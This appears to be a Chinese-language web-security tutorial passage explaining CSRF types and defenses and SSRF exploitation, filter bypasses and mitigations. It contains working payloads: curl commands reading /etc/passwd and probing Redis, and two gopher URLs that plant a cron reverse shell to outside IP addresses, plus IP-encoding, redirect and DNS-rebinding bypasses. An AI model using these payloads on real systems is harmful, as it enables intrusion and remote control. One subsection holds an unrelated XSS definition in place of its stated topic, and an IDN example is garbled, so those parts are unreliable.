3.3.1. 簡介

CSRF（Cross-site request forgery）跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF，是一種對網站的惡意利用。盡管聽起來像跨站腳本（XSS），但它與XSS非常不同，XSS利用站點內的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。

3.3.2. 分類

3.3.2.1. 資源包含

資源包含是在大多數介紹CSRF概念的演示或基礎課程中可能看到的類型。這種類型歸結為控制HTML標簽（例如<image>、<audio>、<video>、<object>、<script>等）所包含的資源的攻擊者。如果攻擊者能夠影響URL被加載的話，包含遠程資源的任何標簽都可以完成攻擊。  

由于缺少對Cookie的源點檢查，如上所述，此攻擊不需要XSS，可以由任何攻擊者控制的站點或站點本身執行。此類型僅限于GET請求，因為這些是瀏覽器對資源URL唯一的請求類型。這種類型的主要限制是它需要錯誤地使用安全的HTTP請求方式。

3.3.2.2. 基于表單

通常在正確使用安全的請求方式時看到。攻擊者創建一個想要受害者提交的表單; 其包含一個JavaScript片段，強制受害者的瀏覽器提交。  

該表單可以完全由隱藏的元素組成，以致受害者很難發現它。 

如果處理cookies不當，攻擊者可以在任何站點上發動攻擊，只要受害者使用有效的cookie登錄，攻擊就會成功。如果請求是有目的性的，成功的攻擊將使受害者回到他們平時正常的頁面。該方法對于攻擊者可以將受害者指向特定頁面的網絡釣魚攻擊特別有效。

3.3.2.3. XMLHttpRequest

這可能是最少看到的方式。  

由于許多現代Web應用程序依賴XHR，許多應用花費大量的時間來構建和實現這一特定的對策。  

基于XHR的CSRF通常由于SOP而以XSS有效載荷的形式出現。沒有跨域資源共享策略（CORS），XHR僅限于攻擊者托管自己的有效載荷的原始請求。  

這種類型的CSRF的攻擊有效載荷基本上是一個標準的XHR，攻擊者已經找到了一些注入受害者瀏覽器DOM的方式。

3.3.3. 防御

● 通過CSRF-token或者驗證碼來檢測用戶提交

● 驗證Referer/Content-Type

● 對于用戶修改刪除等操作最好都使用POST操作

● 避免全站通用的cookie，嚴格設置cookie的域

3.4.1. 簡介

服務端請求偽造（Server Side Request Forgery, SSRF）指的是攻擊者在未能取得服務器所有權限時，利用服務器漏洞以服務器的身份發送一條構造好的請求給服務器所在內網。SSRF攻擊通常針對外部網絡無法直接訪問的內部系統。

3.4.2. 漏洞危害

SSRF可以對外網、服務器所在內網、本地進行端口掃描，攻擊運行在內網或本地的應用，或者利用File協議讀取本地文件。  

內網服務防御相對外網服務來說一般會較弱，甚至部分內網服務為了運維方便并沒有對內網的訪問設置權限驗證，所以存在SSRF時，通常會造成較大的危害。

3.4.3. 利用方式

SSRF利用存在多種形式以及不同的場景，針對不同場景可以使用不同的繞過方式。  

以curl為例, 可以使用dict protocol操作Redis、file協議讀文件、gopher協議反彈Shell等功能，常見的Payload如下：  

curl -vvv \'dict://127.0.0.1:6379/info\'  

curl -vvv \'file:///etc/passwd\'  

# * 注意: 鏈接使用單引號，避免$變量問題

curl -vvv \'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a\'

3.4.4. 相關危險函數

SSRF涉及到的危險函數主要是網絡訪問，支持偽協議的網絡讀取。以PHP為例，涉及到的函數有 file_get_contents() / fsockopen() / curl_exec() 等。

3.4.5. 過濾繞過

3.4.5.1. 更改IP地址寫法

一些開發者會通過對傳過來的URL參數進行正則匹配的方式來過濾掉內網IP，如采用如下正則表達式：

● ^10(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){3}$ 

● ^172.([1][6-9]|[2]d|3[01])(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){2}$

● ^192.168(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){2}$

對于這種過濾我們采用改編IP的寫法的方式進行繞過，例如192.168.0.1這個IP地址可以被改寫成：

● 8進制格式：0300.0250.0.1

● 16進制格式：0xC0.0xA8.0.1

● 10進制整數格式：3232235521

● 16進制整數格式：0xC0A80001

還有一種特殊的省略模式，例如10.0.0.1這個IP可以寫成10.1。  訪問改寫后的IP地址時，Apache會報400 Bad Request，但Nginx、MySQL等其他服務仍能正常工作。  另外，0.0.0.0這個IP可以直接訪問到本地，也通常被正則過濾遺漏。

3.4.5.2. 使用解析到內網的域名

XSS全稱為Cross Site Scripting，為了和CSS分開簡寫為XSS，中文名為跨站腳本。該漏洞發生在用戶端，是指在渲染過程中發生了不在預期過程中的JavaScript代碼執行。XSS通常被用于獲取Cookie、以受攻擊者的身份進行操作等行為。

3.4.5.3. 利用解析URL所出現的問題

在某些情況下，后端程序可能會對訪問的URL進行解析，對解析出來的host地址進行過濾。這時候可能會出現對URL參數解析不當，導致可以繞過過濾。  

比如 http://www.baidu.com@192.168.0.1/ 當后端程序通過不正確的正則表達式（比如將http之后到com為止的字符內容，也就是www.baidu.com，認為是訪問請求的host地址時）對上述URL的內容進行解析的時候，很有可能會認為訪問URL的host為www.baidu.com，而實際上這個URL所請求的內容都是192.168.0.1上的內容。

3.4.5.4. 利用跳轉

如果后端服務器在接收到參數后，正確的解析了URL的host，并且進行了過濾，我們這個時候可以使用跳轉的方式來進行繞過。  

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服務跳轉，但是由于URL中包含了192.168.0.1這種內網IP地址，可能會被正則表達式過濾掉，可以通過短地址的方式來繞過。  

常用的跳轉有302跳轉和307跳轉，區別在于307跳轉會轉發POST請求中的數據等，但是302跳轉不會。

3.4.5.5. 通過各種非HTTP協議

如果服務器端程序對訪問URL所采用的協議進行驗證的話，可以通過非HTTP協議來進行利用。  

比如通過gopher，可以在一個url參數中構造POST或者GET請求，從而達到攻擊內網應用的目的。例如可以使用gopher協議對與內網的Redis服務進行攻擊，可以使用如下的URL：

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了gopher協議，File協議也是SSRF中常用的協議，該協議主要用于訪問本地計算機中的文件，我們可以通過類似 file:///path/to/file 這種格式來訪問計算機本地文件。使用file協議可以避免服務端程序對于所訪問的IP進行的過濾。例如我們可以通過 file:///d:/1.txt 來訪問D盤中1.txt的內容。

3.4.5.6. DNS Rebinding

一個常用的防護思路是：對于用戶請求的URL參數，首先服務器端會對其進行DNS解析，然后對于DNS服務器返回的IP地址進行判斷，如果在黑名單中，就禁止該次請求。  

但是在整個過程中，第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間差，利用這個時間差，可以進行DNS重綁定攻擊。  

要完成DNS重綁定攻擊，我們需要一個域名，并且將這個域名的解析指定到我們自己的DNS Server，在我們的可控的DNS Server上編寫解析服務，設置TTL時間為0。這樣就可以進行攻擊了，完整的攻擊流程為：

● 服務器端獲得URL參數，進行第一次DNS解析，獲得了一個非內網的IP

● 對于獲得的IP進行判斷，發現為非黑名單IP，則通過驗證

● 服務器端對于URL進行訪問，由于DNS服務器設置的TTL為0，所以再次進行DNS解析，這一次DNS服務器返回的是內網地址。

● 由于已經繞過驗證，所以服務器端返回訪問內網資源的結果。

3.4.5.7. 利用IPv6

有些服務沒有考慮IPv6的情況，但是內網又支持IPv6，則可以使用IPv6的本地IP如 [::] 0000::1或IPv6的內網域名來繞過過濾。

3.4.5.8. 利用IDN

一些網絡訪問工具如Curl等是支持國際化域名（Internationalized Domain Name，IDN）的，國際化域名又稱特殊字符域名，是指部分或完全使用特殊的文字或字母組成的互聯網域名。  

在這些字符中，部分字符會在訪問時做一個等價轉換，例如 ???????.??? 和 example.com 等同。利用這種方式，可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符繞過內網限制。

3.4.6. 可能的利用點

● ftp、ftps （FTP爆破）

● sftp

● tftp（UDP協議擴展）

● dict

● gopher

● ldap

● imap/imaps/pop3/pop3s/smtp/smtps（爆破郵件用戶名密碼）

● rtsp – smb/smbs（連接SMB）

● telnet

● http、https

● mongodb

● ShellShock命令執行

● JBOSS遠程Invoker war命令執行

● Java調試接口命令執行

● axis2-admin部署Server命令執行

● Jenkins Scripts接口命令執行

● Confluence SSRF

● Struts2 命令執行

● counchdb WEB API遠程命令執行

● docker API遠程命令執行

● php_fpm/fastcgi 命令執行

● tomcat命令執行

● Elasticsearch引擎Groovy腳本命令執行

● WebDav PUT上傳任意文件

● WebSphere Admin可部署war間接命令執行

● Apache Hadoop遠程命令執行

● zentoPMS遠程命令執行

● HFS遠程命令執行

● glassfish任意文件讀取和war文件部署間接命令執行

3.4.7. 防御方式

● 過濾返回的信息

● 統一錯誤信息

● 限制請求的端口

● 禁止不常用的協議

● 對DNS Rebinding，考慮使用DNS緩存或者Host白名單